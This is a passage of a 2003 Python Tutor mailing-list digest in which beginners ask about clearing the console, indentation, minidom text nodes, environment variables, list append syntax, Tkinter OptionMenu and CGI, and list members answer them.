haven't installed the Win extensions as I'm still working on get a
better grasp on Python.  ***

or
os.system('clear')  # Unix

Or be very clever and send the appropriate terminal control
codes (ANSI for DOS, VT100 for Xterms on Unix)"




From py-tutor@fancy.org  Wed Jun  4 16:03:03 2003
From: py-tutor@fancy.org (Tom Plunket)
Date: Wed Jun  4 15:03:03 2003
Subject: [Tutor] newbie programmer
In-Reply-To: <001301c32aca$fa6836c0$c47dfea9@client>
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop> <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop> <1054729379.2498.4.camel@24-159-242-7.jvl.wi.charter.com> <00de01c32aa0$95afdb90$6401a8c0@xp> <001301c32aca$fa6836c0$c47dfea9@client>
Message-ID: <ofgsdvgcrffbeolo56i6rm9porvd896h9n@4ax.com>

Dirigo wrote:

> > use the operating system command:
> > 
> > os.system('CLS)  # DOS
> 
> Tried this within the Python command line window and got error 
> message which read  "NameError:  name 'os' is not defined".   I 
> tried both os.system('CLS') and os.system("CLS") and got the same 
> results.

Ahh- this means that you need to do "import os" first.  ;)  And
yes, you do need quotes on both sides of 'cls'.

Good luck.


-tom!


From bbbbosox@mtneer.net  Wed Jun  4 16:09:01 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Wed Jun  4 15:09:01 2003
Subject: [Tutor] What command or sequence of commands to I need to use ... please see inside for description
Message-ID: <001b01c32acc$82dfb5e0$c47dfea9@client>

What command or sequence of command keys do I need to get back from a
full screen condition to a smaller Python command window?

When I first open up the Python command window it is of usuable size,
but there are times when I like to expand it to full screen by selecting
the Full Screen Icon option in its menu bar.  Works great, but when I'm
done I seem to have problems getting the full screen to go back to the
"normal" sized Python command window that opened up initially.  It
either seems to lock up my system (not totally sure of that) or I have a
nice black screen with nothing on it.  Exit, quit, etc don't seem to
work.  Would it per chance be the Control-Z and Return sequence?

Obviously, it might be something wrong with my system too, but am
interesting in hearing how you folks flip-flop between small and full
screen displays of the Python command window.  PEBCAK time?  (Problem
Exists Between Chair And Keyboard ;>))

Thanks in advance,

Dirigo



From alan.gauld@blueyonder.co.uk  Wed Jun  4 16:25:06 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun  4 15:25:06 2003
Subject: [Tutor] Indentation
References: <NBEHJBEKFMHNFJKOHIOAEEONCIAA.willblake@wanadoo.fr>
Message-ID: <001601c32ac8$9eb9fa40$6401a8c0@xp>

> I don't understand what's the meaning
> of this word 

Indentation is simply the measure of how far in from 
the left side a line starts

Thus, this line has zero indentation - it starts at the left margin

    This line has an indent of 4 spaces from the left margin

    This line has an indent of one tab space.

How the above shows up will dpend on whether you use Rich Text 
or HTML mail formatting. If you use plain text format it will 
look OK, otherwise pretty meangless!

I'll Try again using dashes instead of spaces:

NO Indent, at ythe margin
----This has 4 character indent
--------This has eight character Indentation.

Think of the word dent. The text is "dented in " from the side.

> and his roll in a prog: what does indentation bring to a prog?

It helps organise things visually. By grouping related 
statements together with the same level of indentation we
can better understand the flow of the program. For example:

if Color in (red, blue, green):
----Print Color
----Display shape
else:
----Print 'Unknown color'

It is easy to see which statements get executed if the 
color is one that we are interested in.

Now most languages treat indentaton as just a visual clue, 
the interpreter ignores it, however Python actually reads 
the indentation, much the same way as we do, and uses it 
to group statements together into what is called a block.

Therefore in Python it is very important to get your 
indentation consistent, because if a line is even one 
extra space indented Python will think it is seeing a 
new block of code and get confused, printing an error 
as a result.

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From magnus@thinkware.se  Wed Jun  4 16:56:26 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 15:56:26 2003
Subject: [Tutor] What command or sequence of commands to I need to
 use ... please see inside for description
In-Reply-To: <001b01c32acc$82dfb5e0$c47dfea9@client>
Message-ID: <5.2.1.1.0.20030604215348.01f3e1a0@www.thinkware.se>

At 15:07 2003-06-04 -0400, Dirigo wrote:
>What command or sequence of command keys do I need to get back from a
>full screen condition to a smaller Python command window?

If I understand you correctly, you are asking how to get
a DOS box become a small window again, after you expanded
it. This has nothing to do with Python, it's just the same
with any Windows non-GUI program.

Press Alt+Enter. Works both ways by the way, so you don't need
to reach for the mouse to maximize the window either.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun  4 17:05:05 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 16:05:05 2003
Subject: [Tutor] Socket module woes.
In-Reply-To: <3EDE3C63.8010009@ccvcorp.com>
References: <4BB02C541824D311921600902765DB7B07919A22@LTISERVER>
Message-ID: <5.2.1.1.0.20030604215931.01e873b8@www.thinkware.se>

At 11:37 2003-06-04 -0700, Jeff Shannon wrote:
>Fred Allen wrote:
>
>>I've identified the offending statement.  By interactively entering each
>>statement in sequence, as follows, the system hangs when I <Enter> the
>>"accept" method call.  I understand, of course, that the accept method
>>is intended to suspend its program's activity whilst awaiting a
>>connection attempt.  But, the way I've done it, it suspends not only its
>>own program, but the entire development environment, so I cannot
>>initiate the client's execution.
>
>You're running this from within IDLE/PythonWin, yes?  All of these will 
>run your code in the same process as the interpreter itself, so when the 
>process is waiting for a connection, that means that nothing else can 
>happen in that process.

Yet another reason not to use an IDE? ;)

Actually, both IDLE-fork and SciTE runs programs in separate
processes as far as I understand. I guess it could work there.
(Not sure though...)

Anyway, as you progress as programmers, and increase your
typing speed and come to remember commands and rely less
on searching around in pulldown menues, I think many of
you will come to appreciate a simple command line interface,
and a good all-round editor.

Your hands will stay on the keyboard, and the mouse will get
a lot of rest...


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From bbbbosox@mtneer.net  Wed Jun  4 18:15:01 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Wed Jun  4 17:15:01 2003
Subject: [Tutor] What command or sequence of commands to I need to use ... please see inside for description
References: <5.2.1.1.0.20030604215348.01f3e1a0@www.thinkware.se>
Message-ID: <000c01c32ade$034892e0$c47dfea9@client>

Thanks Magnus.

The problem exists with my system.  ALT+Enter works per se, but once I
go to the full screen version of a DOS like window, then attempt to
return to a smaller DOS window with the Windows Desktop background via
ALT+Enter, it doesn't happen.  Just get a big blank, black screen.
Funny thing is though, I can at that point do an ALT+Enter and it will
bring back the full screen version of a DOS like window with the prompt
C:\Windows.  Well, I'm off to research this problem as I know it has
nothing to do with Python.

Thanks for your indulgence here.


----- Original Message -----
From: Magnus Lyckå <magnus@thinkware.se>
To: Dirigo <bbbbosox@mtneer.net>; <tutor@python.org>
Sent: Wednesday, June 04, 2003 3:58 PM
Subject: Re: [Tutor] What command or sequence of commands to I need to
use ... please see inside for description


At 15:07 2003-06-04 -0400, Dirigo wrote:
>What command or sequence of command keys do I need to get back from a
>full screen condition to a smaller Python command window?

If I understand you correctly, you are asking how to get
a DOS box become a small window again, after you expanded
it. This has nothing to do with Python, it's just the same
with any Windows non-GUI program.

Press Alt+Enter. Works both ways by the way, so you don't need
to reach for the mouse to maximize the window either.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From andy_osagie@hotmail.com  Wed Jun  4 18:40:02 2003
From: andy_osagie@hotmail.com (Andy Osagie)
Date: Wed Jun  4 17:40:02 2003
Subject: [Tutor] help request from a newbie w/ problems parsing XML
Message-ID: <Law14-OE62m4xTqIAm7000330bb@hotmail.com>

Hello,
I seem to have trouble editing the values of parsed XML documents so that I
can save them with my new values.


>>> from xml.dom import minidom
>>> doc = minidom.parseString("<entry>random stuff</entry>")
>>> doc.childNodes[0].toxml()
u'<entry>random stuff</entry>'
>>> doc.childNodes[0].nodeName
u'entry'
>>> doc.childNodes[0].nodeValue
>>> doc.childNodes[0].nodeName = "new"
>>> doc.childNodes[0].nodeValue = "test value"
>>> doc.childNodes[0].toxml()
u'<entry>random stuff</entry>'


I can't really figure out the problem. Is there any way to accomplish what
I've tried above? I'm trying to make a simple XML driven database.

Thanks in advance,
Andy Osagie


From magnus@thinkware.se  Wed Jun  4 19:44:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 18:44:01 2003
Subject: [Tutor] help request from a newbie w/ problems parsing XML
In-Reply-To: <Law14-OE62m4xTqIAm7000330bb@hotmail.com>
Message-ID: <5.2.1.1.0.20030605002651.01fbf830@www.thinkware.se>

I've never really used dom, but let's take a look...

At 17:38 2003-06-04 -0400, Andy Osagie wrote:
>Hello,
>I seem to have trouble editing the values of parsed XML documents so that I
>can save them with my new values.
>
> >>> from xml.dom import minidom
> >>> doc = minidom.parseString("<entry>random stuff</entry>")
> >>> doc.childNodes[0].toxml()
>u'<entry>random stuff</entry>'
> >>> doc.childNodes[0].nodeName
>u'entry'
> >>> doc.childNodes[0].nodeValue

As you see here, nothing was printed. I.e. .nodeValue is not "random stuff".
doc.childNodes[0].nodeValue is None, but doc.childNodes[0] has a childNode!

 >>> doc.childNodes[0].childNodes[0].toxml()
u'random stuff'

That's what you want to replace, right? Not nodeValue. But you can't simply
set that to a string, since it isn't a string.

 >>> type(doc.childNodes[0].childNodes[0])
<type 'instance'>
 >>> doc.childNodes[0].childNodes[0].__class__
<class xml.dom.minidom.Text at 0x012DA878>

Aha, let's try to use that!

 >>> doc.childNodes[0].replaceChild(minidom.Text('test value'), 
doc.childNodes[0].childNodes[0])
<DOM Text node "random stu...">
 >>> doc.toxml()
u'<?xml version="1.0" ?>\n<entry>test value</entry>'

Is this what you wanted? Note that a Text node in the DOM isn't
just a string. It's an instance of a class.

In Python, a name on the left hand side of an assignment is just
a pointer to an object, so if you do...

x = 'test value'

...x will certainly be a name for a string object, even if it
happened to refer to a xml.dom.minidom.Text instance before.
Names aren't typed in Python, only the objects they refer to
are typed.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From phthenry@earthlink.net  Thu Jun  5 02:55:03 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Thu Jun  5 01:55:03 2003
Subject: [Tutor] mail not getting through (ignore!)
Message-ID: <1054792541.25654.3.camel@localhost.localdomain>

I am not able to connect to this mailing list by my usual method. 

Ignore this message if this in fact makes it through!

Paul





From Tony@pc-tony.com  Thu Jun  5 08:11:02 2003
From: Tony@pc-tony.com (Tony Stevenson)
Date: Thu Jun  5 07:11:02 2003
Subject: [Tutor] Noob to Python - Need help with Variables
Message-ID: <BDE280F8610F8C45B8FF908BA0A85C434160@web-server.int-pctony.com>

 Hi All, 

I am completely new to programming, so I thought I would start with Python
as it comes highly reccomended, and have seen it do some very smart
things.

Anyway, I am trying to re-write our somewhat painful DOS Batch File
Logon Scripts. 

I am currently using   print os.environ["USERNAME"]   to obtain the
username environment variable.

Now I will be using this entry several times throughout the script, so I
"thought" I would need to create a variable in python.  But after trying
this    

>>> user = "print os.environ['USERNAME']"
>>> print user

This is what is returned....    


print os.environ['USERNAME']



So I can see that the "variable"??? user, it not executing the print
os.environ command.  Instead is it using it as a text entry.


My question is how can I get this "user variable" to return the username
in question. 

I think i may be missing a pair of quotes or something, but I am not too
sure... 



Kind Regards,
Tony



From op73418@mail.telepac.pt  Thu Jun  5 08:58:02 2003
From: op73418@mail.telepac.pt (=?iso-8859-1?Q?Gon=E7alo_Rodrigues?=)
Date: Thu Jun  5 07:58:02 2003
Subject: [Tutor] Noob to Python - Need help with Variables
References: <BDE280F8610F8C45B8FF908BA0A85C434160@web-server.int-pctony.com>
Message-ID: <000501c32b59$b10b7e30$c440c151@violante>

----- Original Message -----
From: "Tony Stevenson" <Tony@pc-tony.com>


> Hi All,
>
> I am completely new to programming, so I thought I would start with Python
> as it comes highly reccomended, and have seen it do some very smart
> things.
>
> Anyway, I am trying to re-write our somewhat painful DOS Batch File
> Logon Scripts.
>
> I am currently using   print os.environ["USERNAME"]   to obtain the
> username environment variable.
>
> Now I will be using this entry several times throughout the script, so I
> "thought" I would need to create a variable in python.  But after trying
> this
>
> >>> user = "print os.environ['USERNAME']"
> >>> print user
>
> This is what is returned....
>
>
> print os.environ['USERNAME']
>

Of course. Python does not have telepathic abilities, so if you want that
string to be executed as Python code, be explicit, ask for it:

>>> exec user

But don't -- see below.

>
>
> So I can see that the "variable"??? user, it not executing the print
> os.environ command.  Instead is it using it as a text entry.
>

You are thinking in utterly unpythonic terms - may I suggest that you take a
look at the Python tutorial and then, maybe, at some source code? Why the
extra level of indirection? Why not just

>>> user = os.environ['USERNAME']

and now user contains whatever it is that that the environment variable
USERNAME contains?

HTH, with my best regards,
G. Rodrigues



From lonetwin@yahoo.com  Thu Jun  5 09:23:01 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Thu Jun  5 08:23:01 2003
Subject: [Tutor] Noob to Python - Need help with Variables
In-Reply-To: <BDE280F8610F8C45B8FF908BA0A85C434160@web-server.int-pctony.com>
References: <BDE280F8610F8C45B8FF908BA0A85C434160@web-server.int-pctony.com>
Message-ID: <200306051809.34600.lonetwin@yahoo.com>

Hey Tony,

On Thursday 05 June 2003 04:35 pm, Tony Stevenson wrote:
>  Hi All,
>
> I am completely new to programming, so I thought I would start with Python
> as it comes highly reccomended, and have seen it do some very smart
> things.
>
> Anyway, I am trying to re-write our somewhat painful DOS Batch File
> Logon Scripts.
>
> I am currently using   print os.environ["USERNAME"]   to obtain the
> username environment variable.
>
> Now I will be using this entry several times throughout the script, so I
> "thought" I would need to create a variable in python.  But after trying
> this
>
> >>> user = "print os.environ['USERNAME']"
> >>> print user
>
> This is what is returned....
>
>
> print os.environ['USERNAME']
>
>
>
> So I can see that the "variable"??? user, it not executing the print
> os.environ command.  Instead is it using it as a text entry.
 And that is correct, because by including the quotes you are telling python 
treat the contents within these quotes as a string.

Think about this -- what would happen if you were to say 

>>> print "os.environ['USERNAME']"
instead of 
>>> print os.environ["USERNAME"] 
as you say you have been using.
     ......Ok, so now we know that the quotes are unnecessary ...so should 
this work ??

>>> user = print os.environ["USERNAME"]
   File "<stdin>", line 1
    user = print os.environ["USERNAME"]
               ^
SyntaxError: invalid syntax
>>>

ummm ...apparently not. what could be wrong ?? well, python reads this as

>>> user =            print os.environ["USERNAME"]
       ^^^^^^^              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Assign to the           The  result of the statement print
variable user

which basically is one of the laws that most (all ??) programming languages 
follow - Evaluation occurs before assignment.
     However, in this case the 'print' statement does not *evaluate* anything, 
it just prints stuff, so, there is nothing to assign. So how do you assign 
something to a variable without having to evaluate anything. well ...you just 
go ahead and assign :)

>>> user = os.environ["USERNAME"]

HTH
Peace
Steve

-- 
Never be afraid to tell the world who you are.
                                     - Anonymous


From gerrit@nl.linux.org  Thu Jun  5 10:04:25 2003
From: gerrit@nl.linux.org (Gerrit Holl)
Date: Thu Jun  5 09:04:25 2003
Subject: [Tutor] Noob to Python - Need help with Variables
In-Reply-To: <BDE280F8610F8C45B8FF908BA0A85C434160@web-server.int-pctony.com>
References: <BDE280F8610F8C45B8FF908BA0A85C434160@web-server.int-pctony.com>
Message-ID: <20030605130223.GA3937@nl.linux.org>

Tony Stevenson schreef op donderdag  5 juni om 13:12:40 +0000:
> I am completely new to programming, so I thought I would start with Python
> as it comes highly reccomended, and have seen it do some very smart
> things.

Congratulation on finding Python!

> >>> user = "print os.environ['USERNAME']"

You are now creating a string called 'user', with the
contents you assign to it. But it is not what you want:
you want to assign the contents of os.environ['USERNAME']
to the variable 'user'. To do this, you do:

 >>> user = os.environ['USERNAME']

Strings are not (normally) executed in Python: only when passed
to the eval function. Whe you do eval(user) in your application,
you should get the username.

yours,
Gerrit.

-- 
281. If they are from another country, the buyer shall declare the
amount of money paid therefor to the merchant, and keep the male or female
slave.
        -- 1780 BC, Hammurabi, Code of Law
--
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/


From gtg066j@mail.gatech.edu  Thu Jun  5 10:41:18 2003
From: gtg066j@mail.gatech.edu (Vidhya Narayanan)
Date: Thu Jun  5 09:41:18 2003
Subject: [Tutor] unsubscriptable error
In-Reply-To: <20030604200505.12006.27841.Mailman@mail.python.org>
References: <20030604200505.12006.27841.Mailman@mail.python.org>
Message-ID: <1054820398.3edf482ef2739@webmail.mail.gatech.edu>

Dear python users

                I am new to python and am presently in the process of lea=
rning
the basics. I wrote a class that calls another class. When I execute my m=
ain
program I get this error message :TypeError: unsubscriptable object

This is how my code goes:

class1: modelmanager
self.listofmodels.append[RexFunctions1('Model Properties', self.modelActo=
r,
self.renderer, self.pane)]

Rexfunctions is my second class that needs all the properties within the
brackets. Not sure where I am making the mistake. Would be great if someo=
ne
could help me out.Thanks in advance.

Regards

Vidhya



From lonetwin@yahoo.com  Thu Jun  5 10:55:03 2003
From: lonetwin@yahoo.com (lonetwin)
Date: Thu Jun  5 09:55:03 2003
Subject: [Tutor] Noob to Python - Need help with Variables
In-Reply-To: <BDE280F8610F8C45B8FF908BA0A85C434163@web-server.int-pctony.com>
References: <BDE280F8610F8C45B8FF908BA0A85C434163@web-server.int-pctony.com>
Message-ID: <200306051941.07104.lonetwin@yahoo.com>

Hey Tony,
    I'm forwarding this to the list ....(when you reply to a post on the tutor 
list it is sent back to the author of the mail, not to the list. It's just 
something you have to get used to ;-) )

On Thursday 05 June 2003 06:13 pm, you wrote:
> Hi Steve,
>
>
> Thanks for that.. That makes much more sense now.
> Coudl I please ask you one more question then... Seeing as how well you
> answered the last one ;-)
>
> Now that i have 'declared' this variable?
> How do I use that ?
>
> For e.g.
>
> shutil.rmtree("d:\\tempint\"user"
>
> "user" is where i want the results of the variable to be inserted.
> I understand now that using quotes will only force python to use it as a
> string, but I want or shoudl I say need the username to be placed in here.

Here's a question, how do you include a variable in a string that you want to 
print ??
ie: If I have :
>>> my_name = "Steve"
>>> Greeting = "hi there !!"

how do I get python to print "This is Steve saying, hi there !!" ??
     If you know how to do that you should apply the same logic to your 
problem. If you don't, I suggest you go through some introductory documents 
and play around in the interpreter(*). I'm tempted to give you the answer, 
but I believe you really should learn basic programming before you start 
using modules like 'shutil'.

...and don't worry, you can always ask questions here if you get stuck at 
someplace ...but you really should get the basic stuff under your belt before 
you move on.

(*) Introductory docs can be found at:
http://www.python.org/doc/Intros.html
    Look under "Introductions to Python programming for non-programmers"

Peace
Steve


-- 
Never be afraid to tell the world who you are.
                                     - Anonymous


From bgailer@alum.rpi.edu  Thu Jun  5 11:25:03 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Thu Jun  5 10:25:03 2003
Subject: [Tutor] unsubscriptable error
In-Reply-To: <1054820398.3edf482ef2739@webmail.mail.gatech.edu>
References: <20030604200505.12006.27841.Mailman@mail.python.org>
 <20030604200505.12006.27841.Mailman@mail.python.org>
Message-ID: <5.2.0.9.0.20030605080628.02f56b60@66.28.54.253>

At 09:39 AM 6/5/2003 -0400, Vidhya Narayanan wrote:

>Dear python users
>
>                 I am new to python and am presently in the process of 
> learning
>the basics. I wrote a class that calls another class. When I execute my main
>program I get this error message :TypeError: unsubscriptable object
>
>This is how my code goes:
>
>class1: modelmanager
>self.listofmodels.append[RexFunctions1('Model Properties', self.modelActor,
>self.renderer, self.pane)]
>
>Rexfunctions is my second class that needs all the properties within the
>brackets. Not sure where I am making the mistake. Would be great if someone
>could help me out.Thanks in advance.

append is a function. Functions are called by putting () after the function 
reference. [] are used for subscripting/slicing, and functions are 
not  subscriptable objects. Thus you want

self.listofmodels.append(RexFunctions1('Model Properties', 
self.modelActor,self.renderer, self.pane))

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625



From w.richert@gmx.net  Thu Jun  5 11:54:02 2003
From: w.richert@gmx.net (Willi Richert)
Date: Thu Jun  5 10:54:02 2003
Subject: [Tutor] Socket module woes.
In-Reply-To: <5.2.1.1.0.20030604215931.01e873b8@www.thinkware.se>
References: <4BB02C541824D311921600902765DB7B07919A22@LTISERVER> <5.2.1.1.0.20030604215931.01e873b8@www.thinkware.se>
Message-ID: <200306051653.21838.w.richert@gmx.net>

Am Mittwoch, 4. Juni 2003 22:07 schrob Magnus Lyck=E5:
> Anyway, as you progress as programmers, and increase your
> typing speed and come to remember commands and rely less
> on searching around in pulldown menues, I think many of
> you will come to appreciate a simple command line interface,
> and a good all-round editor.
>
> Your hands will stay on the keyboard, and the mouse will get
> a lot of rest...

Something I really can underline! The question (only to emacs using python=
=20
programmers ;-): Which major mode do you all use? How do you debug within=20
emacs? I've tried several solutions but none worked with my emacs=20
installation (21.2.1).

Have fun,
wr

=2D-=20
We'll try to make different mistakes this time.
(Larry Wall)




From learning.python@dbmail.dk  Thu Jun  5 12:34:01 2003
From: learning.python@dbmail.dk (Ole Jensen)
Date: Thu Jun  5 11:34:01 2003
Subject: [Tutor] Noob to Python - Need help with Variables
Message-ID: <001e01c32b77$9a84c180$a44c73d5@sigrunnk2wh18t>

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C32B88.5DE2D800
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

-----[snip]--------

=20
> ...and don't worry, you can always ask questions here if you get stuck =
at=20
> someplace ...but you really should get the basic stuff under your belt =
before=20
> you move on.
>=20
> (*) Introductory docs can be found at:
> http://www.python.org/doc/Intros.html
>     Look under "Introductions to Python programming for =
non-programmers"

>From one nooB to the other I agree totally with Steve that you should go =
through some of the tutorials.

Now the reason I am replying before you barely pressed the link is =
mostly because that I had a really difficult time finding this answer, =
as I have only seen this in one tutorial.
for now:
what you need to do is use the percent sign. Which as far as I now is =
called the mudulo operator, and in all but one of the tutorials I've =
been through this is only descriped as a way to calculate the remainder =
of a division. E.g.  7 / 4 =3D 1 with a remainder of 3, so in python 7 % =
4 =3D 3
But thats far from what the persent sign can do...
if you want to include a varible in a string e.g.:

>>> name =3D "Tony"
>>> str =3D "Hello, %s" % name
>>> print str
Hello, Tony

There's annother way to do it as well, but i'm not to sure about that:
keeping the varibles as is

>>> str =3D "Hello, =B4name=B4"
should print: Hello, Tony

however I get a unicode error so I'm obvously doing something wrong, if =
anybody else know about this method I would really like what im doing =
wrong!

Finally again as steve said you really need to go through some =
tutorials, these two I found extremly useful:

Alan Guald's http://www.freenetpages.co.uk/hp/alan.gauld/
and
Michael Williams' http://users.ox.ac.uk/~sann1276/python/handbook/

ohh and forgot about this one http://www.ibiblio.org/obp/thinkCSpy/ , =
"How to Think Like a Computer Scientist"

Now I might be a slow learner but I have never even heard of this =
'shutil.rmtree("d:\\tempint\"user"' (by the way I think need an end =
brace on that), but depending on how brave you are I would recommend =
getting down with the basics before you play around with something you =
could accidentally mess up.


Ole

------=_NextPart_000_001B_01C32B88.5DE2D800
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2726.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV>-----[snip]--------</DIV>
<DIV><BR>&nbsp;<BR>&gt; ...and don't worry, you can always ask questions =
here if=20
you get stuck at <BR>&gt; someplace ...but you really should get the =
basic stuff=20
under your belt before <BR>&gt; you move on.<BR>&gt; <BR>&gt; (*) =
Introductory=20
docs can be found at:<BR>&gt; <A=20
href=3D"http://www.python.org/doc/Intros.html">http://www.python.org/doc/=
Intros.html</A><BR>&gt;=20
&nbsp;&nbsp;&nbsp; Look under "Introductions to Python programming for=20
non-programmers"<BR></DIV>
<DIV>From one nooB to the other I agree totally with Steve that you =
should go=20
through some of the tutorials.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Now the reason I am replying before you barely pressed the link is =
mostly=20
because that I had a really difficult time finding this answer, as I =
have only=20
seen this in one tutorial.</DIV>
<DIV>for now:</DIV>
<DIV>what you need to do is use the percent sign. Which as far as I now =
is=20
called the mudulo operator, and in all but one of the tutorials I've =
been=20
through this is only descriped as&nbsp;a way to calculate the remainder =
of a=20
division. E.g. &nbsp;7 / 4 =3D 1&nbsp;with a remainder of 3, so&nbsp;in=20
python&nbsp;7 % 4 =3D 3</DIV>
<DIV>But thats far from what the persent sign can do...</DIV>
<DIV>if you want to include a varible in a string e.g.:</DIV>
<DIV>&nbsp;</DIV>
<DIV>&gt;&gt;&gt; name =3D "Tony"</DIV>
<DIV>&gt;&gt;&gt; str =3D "Hello, %s" % name</DIV>
<DIV>&gt;&gt;&gt; print str</DIV>
<DIV>Hello, Tony</DIV>
<DIV>&nbsp;</DIV>
<DIV>There's annother way to do it as well, but i'm not to sure about=20
that:</DIV>
<DIV>keeping the varibles as is</DIV>
<DIV>&nbsp;</DIV>
<DIV>&gt;&gt;&gt; str =3D "Hello, =B4name=B4"</DIV>
<DIV>should print: Hello, Tony</DIV>
<DIV>&nbsp;</DIV>
<DIV>however I get a unicode error so I'm obvously doing something =
wrong, if=20
anybody else know about this method I would really like what im doing=20
wrong!</DIV>
<DIV>&nbsp;</DIV>
<DIV>Finally again as steve said you really need to go through some =
tutorials,=20
these two I found extremly useful:</DIV>
<DIV>&nbsp;</DIV>
<DIV>Alan Guald's <A=20
href=3D"http://www.freenetpages.co.uk/hp/alan.gauld/">http://www.freenetp=
ages.co.uk/hp/alan.gauld/</A></DIV>
<DIV>and</DIV>
<DIV>Michael Williams' <A=20
href=3D"http://users.ox.ac.uk/~sann1276/python/handbook/">http://users.ox=
.ac.uk/~sann1276/python/handbook/</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>ohh and forgot about this one <A=20
href=3D"http://www.ibiblio.org/obp/thinkCSpy/">http://www.ibiblio.org/obp=
/thinkCSpy/</A>&nbsp;,=20
"How to Think Like a Computer Scientist"</DIV>
<DIV>&nbsp;</DIV>
<DIV>Now I might be a slow learner but I have never even heard of this=20
'shutil.rmtree("d:\\tempint\"user"' (by the way I think need an end =
brace on=20
that), but depending on how brave you are I would recommend getting down =
with=20
the basics before you play around with something you could accidentally =
mess=20
up.</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>Ole</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_001B_01C32B88.5DE2D800--



From hodge3@llnl.gov  Thu Jun  5 12:37:00 2003
From: hodge3@llnl.gov (Neil Hodge)
Date: Thu Jun  5 11:37:00 2003
Subject: [Tutor] Tkinter OptionMenu question
Message-ID: <3EDF632B.20105@llnl.gov>

All:

I was wondering if anyone here knows how to change the items in a 
Tkinter OptionMenu after it's initial creation.  I am using the 
following code to create the menu initially:

strvar = StringVar()
test = ("none", "item1", "item2", "item3")
strvar.set(test[0])
om = OptionMenu(self, strvar, *test)

and that works fine.  But I would like my OptionMenu to later look like 
the following:

none
itemx
itemy
itemz

I have tried everything that I can think of (after reading all of the 
docs I could find), but nothing works.  Any ideas?  Thanks.

Neil



From learning.python@dbmail.dk  Thu Jun  5 13:10:03 2003
From: learning.python@dbmail.dk (Ole Jensen)
Date: Thu Jun  5 12:10:03 2003
Subject: [Tutor] Creating your first CGI-script
Message-ID: <006101c32b7b$b87011f0$a44c73d5@sigrunnk2wh18t>

This is a multi-part message in MIME format.

------=_NextPart_000_005E_01C32B8C.7BE1D780
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

First of all, I have no experince in web programming, but my plans are =
to get into that sooner rather than later. So if my assumptions below =
are hillariously wrong feel free to correct me before what I think I =
know sticks with me :-).

I know there is more to web programming other than CGI, I just don't =
know what (I have heard of SQL (databases?), XML (The future of the web, =
maybe? (XHTML)), but I'm not sure that this has anything directly to do =
with Python. So what I'm hoping you can help me with; is what I need to =
make CGI scripts.=20
I guess it's possible to create and test CGI locally (i.e. without =
uploading it to the net). Then again does it require some server =
software to run cgi scripts (or rather test them). I assume (from =
reading this tutor mail)that the necesary software is included in the =
Python download.
Anyway if not, I'm using Win XP and hoping you can recommend some server =
software to use to test my CGI-scripts.
Also, my current homepage server (through my ISP) does not support CGI, =
so if you now of any free (as in no-cost) web hosters that support =
Python I'ld be happy to know. I've been looking at www.freezope.org but =
they don't support cgi so I'm not really sure if thats what would suit =
my needs, BTW what can you use their service to create?

My appologies if this is trivial but to me there seems to be some =
missing link between the python newbie section to the basic CGI =
programming section (under tutorials)

Well I seemed to have gone on long enough for now. So thanks to anyone =
reading this far ;-)

------=_NextPart_000_005E_01C32B8C.7BE1D780
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2726.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>First of all, I have no experince in =
web=20
programming, but my plans are to get into that sooner rather than later. =
So if=20
my assumptions below are hillariously wrong feel free to correct me =
before what=20
